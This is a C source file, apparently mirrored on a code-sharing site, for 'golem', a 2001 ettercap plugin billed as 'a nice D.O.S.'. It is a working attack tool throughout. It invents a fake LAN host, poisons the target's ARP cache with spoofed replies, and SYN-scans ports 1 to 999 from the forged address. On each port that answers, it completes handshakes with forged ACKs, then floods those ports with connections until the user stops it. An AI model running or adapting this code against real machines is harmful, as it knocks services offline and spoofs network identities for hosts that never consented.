golem.c
上传用户:nilegod
上传日期:2007-01-08
资源大小:220k
文件大小:7k
源码类别:

网络截获/分析

开发平台:

C/C++

  1. /*
  2.     golem -- ettercap plugin --  a nice D.O.S. :)
  3.     Copyright (C) 2001  NaGoR
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  8.     This program is distributed in the hope that it will be useful,
  9.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  10.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  11.     GNU General Public License for more details.
  12.     You should have received a copy of the GNU General Public License
  13.     along with this program; if not, write to the Free Software
  14.     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  15. */
  16. #include <sys/types.h>
  17. #include <sys/ipc.h>
  18. #include <sys/shm.h>
  19. #include <signal.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22. #include <time.h>
  23. #include "../../src/include/ec_main.h"
  24. #include "../../src/include/ec_plugins.h"
  25. #include "../../src/include/ec_inet_structures.h"
  26. #include "../../src/include/ec_inet.h"
  27. #include "../../src/include/ec_inet_forge.h"
  28. char Ettercap_Version[] = VERSION;                       // required -- for compatibility
  29. char PlugIn_Info[] = "nice D.O.S.  BE CAREFULL !!";
  30. short PlugIn_Version = 8;
  31. #define SYN_SEQ 6969
  32. // global data...
  33. int IPS, IPD, sock, MTU, CID1, CID2, *port_index;
  34. unsigned short PORTS, IP_ID;
  35. short *PORTREP;
  36. unsigned char MACS[6];
  37. unsigned char MACD[6];
  38. char *pck_to_send;
  39. // ---------------------------
  40. void Parse_packet(char *buffer)
  41. {
  42.    IP_header  *ip;
  43.    TCP_header *tcp;
  44.    ip = (IP_header *) (buffer+ETH_HEADER);
  45.    if (ip->source_ip==IPD && ip->dest_ip==IPS && ip->proto==IPPROTO_TCP)
  46.    {
  47.       tcp = (TCP_header *) ((int)ip + ip->h_len * 4);
  48.       if ( (tcp->flags & TH_SYN) && (tcp->flags & TH_ACK) )
  49.       {
  50.          int i;
  51.          for (i=0; i<*port_index; i++)
  52.              if (ntohs(tcp->source)==PORTREP[i]) break;
  53.          if (i==*port_index)
  54.          {
  55.             PORTREP[i]=ntohs(tcp->source);
  56.             *port_index=*port_index+1;
  57.          }
  58.          Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
  59.          Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
  60.          Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, ntohs(tcp->dest), ntohs(tcp->source),  SYN_SEQ+1, ntohl(tcp->seq)+1, TH_ACK, 0, 0);
  61.          Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
  62.       }
  63.    }
  64. }
  65. int Fake_Host()
  66. {
  67.    unsigned int N_hosts, index, index1=0, index2, base_ip, fake_ip=0;
  68.    unsigned long NetMask;
  69.    Inet_GetIfaceInfo(Options.netiface, NULL, NULL, NULL, &NetMask);
  70.    N_hosts = ntohl(~NetMask);
  71.    base_ip = inet_addr(Host_In_LAN[0].ip)&NetMask;
  72.    for (index=1; index<N_hosts; index++)
  73.    {
  74.       fake_ip = base_ip|htonl(index);
  75.       for (index2=0; index2 < number_of_hosts_in_lan; index2++)
  76.          if (fake_ip == inet_addr(Host_In_LAN[index2].ip))
  77.             break;
  78.       if (index2 == number_of_hosts_in_lan) break;
  79.    }
  80.    if (index1 == N_hosts) return 0;
  81.    return (fake_ip);
  82. }
  83. void PlugIn_Start(char**argv)
  84. {
  85.     int key, i;
  86.     char cont[5];
  87.     if (!strcmp(Host_Dest.ip,""))
  88.     {
  89.       Plugin_Output("Please select a Dest...n");
  90.       return;
  91.     }
  92.     memset(cont, 0, 5);
  93.     Plugin_Output("Are you sure you want to Golemize %s ? (yes/no) ", Host_Dest.ip );
  94.     Plugin_Input(cont, 4, P_BLOCK);
  95.     if (strcmp(cont, "yes"))  // not sure... ;)
  96.     {
  97.       Plugin_Output("It is safe!  for now...");
  98.       return;
  99.     }
  100.     Plugin_Output("Building host list for netmask %s, please wait...n", Inet_MySubnet());
  101.     number_of_hosts_in_lan = Inet_HostInLAN();
  102.     for (i=0; i<number_of_hosts_in_lan; i++)
  103.       if (!strcmp(Host_Dest.ip, Host_In_LAN[i].ip))
  104.          Inet_GetMACfromString(Host_In_LAN[i].mac, MACD);
  105.     IPS = Fake_Host();
  106.     if (IPS == 0)
  107.     {
  108.       Plugin_Output("I can't find an unused IP in this LAN.n");
  109.       Plugin_Output("I can't create the Fake Hostn");
  110.       return;
  111.     }
  112.     IPD = inet_addr(Host_Dest.ip);
  113.     sock = Inet_OpenRawSock(Options.netiface);
  114.     Inet_GetIfaceInfo(Options.netiface, &MTU, MACS, 0, 0);
  115.     key = shmget(0,15000,IPC_CREAT | 0600);
  116.     port_index = (int *)shmat(key,0,0);
  117.     shmctl(key, IPC_RMID, NULL);
  118.     PORTREP = (short *)(port_index+1);
  119.     memset(PORTREP,0,4096*sizeof(short));
  120.     srand(time(0));
  121.     IP_ID = PORTS = rand()%(0xFFFE)+1;
  122.     *port_index = 0;
  123.     if (! (CID1=fork()) )
  124.     {
  125.        strcpy(program_argv0, "golem");
  126.          pck_to_send = (char *)Inet_Forge_packet( ETH_HEADER + ARP_HEADER );
  127.          Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_ARP );
  128.          Inet_Forge_arp( pck_to_send+ETH_HEADER, ARPOP_REPLY, MACS, IPS, MACD, IPD);
  129.          for (;;)
  130.          {
  131.             Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + ARP_HEADER);
  132.             sleep(2);
  133.          }
  134.     }
  135.     pck_to_send = (char *)Inet_Forge_packet( ETH_HEADER + IP_HEADER + TCP_HEADER );
  136.     if (! (CID2=fork()) )
  137.     {
  138.          char *recv_pck;
  139.           strcpy(program_argv0, "golem");
  140.          for (i=1; i<1000; i++)
  141.          {
  142.             Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
  143.             Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
  144.             Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, PORTS, i,  SYN_SEQ, 0, TH_SYN, 0, 0);
  145.             Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
  146.     if(!(i%5)) usleep(500);
  147.          }
  148.          recv_pck = (char *)Inet_Forge_packet(MTU);
  149.          for (;;)
  150.          {
  151.             Inet_GetRawPacket(sock, recv_pck, MTU, NULL);
  152.             Parse_packet(recv_pck);
  153.          }
  154.     }
  155.     else
  156.     {
  157.          int index;
  158.          int OldIndex=0;
  159.          char c[1] = "";
  160.          struct in_addr fake;
  161.          port_index=(int *)shmat(key,0,0);
  162.          PORTREP=(short *)(port_index+1);
  163.          fake.s_addr = IPS;
  164.           Plugin_Output("nD.O.S.ing: %s  from fake host: %sn", Host_Dest.ip, inet_ntoa(fake));
  165.           Plugin_Output("nPress return to stop...nn");
  166.          for (;;)
  167.          {
  168.             for (index=0; index<(*port_index); index++)
  169.             {
  170.                for (;OldIndex<(*port_index); OldIndex++)
  171.                   Plugin_Output("Attacking on port %dn",PORTREP[OldIndex]);
  172.                PORTS++;
  173.                Inet_Forge_ethernet( pck_to_send, MACS, MACD, ETH_P_IP );
  174.                Inet_Forge_ip( pck_to_send + ETH_HEADER, IPS, IPD, TCP_HEADER, IP_ID++, 0, IPPROTO_TCP);
  175.                Inet_Forge_tcp( pck_to_send + ETH_HEADER + IP_HEADER, PORTS, PORTREP[index],  SYN_SEQ, 0, TH_SYN, 0, 0);
  176.                Inet_SendRawPacket(sock, pck_to_send, ETH_HEADER + IP_HEADER + TCP_HEADER );
  177.                if (!(index%5)) usleep(500);
  178.     }
  179.     usleep(2000);
  180.             if (Plugin_Input(c, 1, P_NONBLOCK))
  181.             {
  182.                kill(CID1,SIGTERM);
  183.                kill(CID2,SIGTERM);
  184.                Inet_Forge_packet_destroy( pck_to_send );
  185.                close(sock);
  186.                return;
  187.             }
  188.          }
  189.     }
  190. }
  191. /* EOF */